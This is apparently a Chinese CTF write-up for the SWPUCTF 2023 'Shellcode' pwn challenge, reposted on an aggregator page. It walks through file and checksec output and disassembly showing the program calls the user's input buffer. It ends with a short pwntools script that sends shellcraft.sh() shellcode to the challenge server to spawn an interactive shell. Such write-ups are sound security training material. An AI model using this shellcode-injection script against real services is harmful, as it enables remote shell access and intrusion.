当前位置: 首页 > news >正文

PWN手的成长之路-09-SWPUCTF 2023 秋季新生赛Shellcode

image

远程连接环境。没什么有效信息,只是提示我们这道题会用到 shellcode。
image

file 查看文件。64 位可执行 ELF 文件。
image

checksec 查看文件安全属性。有了栈溢出保护,以及 PIE 保护
image

IDA 打开文件,尝试反编译,但是失败了。
image

直接看汇编代码。
image
lea rax, [ebp+buf]:rax指向用户输入的缓冲区
call rax:直接调用用户输入的缓冲区地址
所以这题只需要发送一个shellcode就可以执行任意代码

exp:

from pwn import *  
r=remote('node4.anna.nssctf.cn',28998)  context.log_level='debug'  
context.arch='amd64'  
context.os='linux'  
shellcode=asm(shellcraft.sh())  r.send(shellcode)  
r.interactive()

得到 flag
image

http://www.jsqmd.com/news/8876/

相关文章:

  • 20251005 总结
  • OKR1
  • 云数据库选型指南:关系型 vs NoSQL vs NewSQL的企业决策 - 指南
  • 详细介绍:AI觉醒前兆,ChatGPT o3模型存在抗拒关闭行为
  • 当 Python 遇上 Go:Sponge 如何成为替代 Django/Flask 的理想选择 - 指南
  • 2025 年装盒机制造厂 TOP 企业品牌推荐排行榜,自动化 / 喷胶 / 牙膏 / 手机壳 / 3C 数码 / 内外盒 / 面膜 / 电子产品 / 玩具 / 日用品装盒机推荐这十家公司!
  • 英语_阅读_Chinas Spring Festival_待读
  • 2025 年自动包装生产线 TOP 企业品牌推荐排行榜!食品行业 / 日化产品 / 智能化 / 小型 / 多功能集成 / 柔性 / 后道 / 高速自动包装生产线推荐!
  • api调用钉钉群机器人发信息 - 规格严格
  • AI 自我理解边界
  • 2025 年氢氧化铝生产厂家 TOP 品牌榜单来袭,阻燃,高白,酸融,导热,超细,微粉级,低粘度,灌封胶用,覆铜板用氢氧化铝公司推荐!
  • 飞算 JavaAI 赋能老工程重构:破旧立新的高效利器
  • 2025钢球厂家最新企业品牌推荐排行榜,轴承钢球,不锈钢球,碳钢球,精密钢球,440C不锈钢球推荐这十家公司!
  • 2025 年工业提升门厂家最新企业品牌推荐排行榜,汇峰节能科技彰显行业影响力!
  • 什么是偏微分方程?
  • 2025 权威推荐!电梯源头品牌 TOP5 排行榜:实力厂家精选,品质之选不容错过
  • 钉钉红包性能优化之路 - 实践
  • SQLite详细解读 - 实践
  • IIS反向代理tomcat
  • 2025混合机厂家最新企业品牌推荐排行榜,高效盘条式混合机,无重力混合机,犁刀式混合机,锥形混合机,卧式螺带混合机推荐这十家公司!
  • 2025离心泵厂家最新企业品牌推荐排行榜! 卧式离心泵,化工离心泵,多级离心泵,卧式多级离心泵,不锈钢离心泵推荐这十家公司!
  • Axure-元件流程图 - 指南
  • 2025真空炉厂家最新企业品牌推荐排行榜,高温烧结真空炉,真空退火炉,智能铍铜真空炉推荐这十家公司!
  • 【论文阅读】Dolphin: Document Image Parsing via Heterogeneous Anchor Prompting - 实践
  • 2025 --【J+S 二十连测】-- 第二套 总结
  • 2025 蒸发器厂家最新企业品牌推荐排行榜,江苏纵横携手知名品牌,彰显蒸发器公司行业影响力
  • 如何将 WSL 的 Ubuntu-24.04 迁移到其他电脑 - 详解
  • 题解:Luogu P11976 [KTSC 2021] 通信网络 / communication
  • 弦振动方程
  • 理论构建尝试整理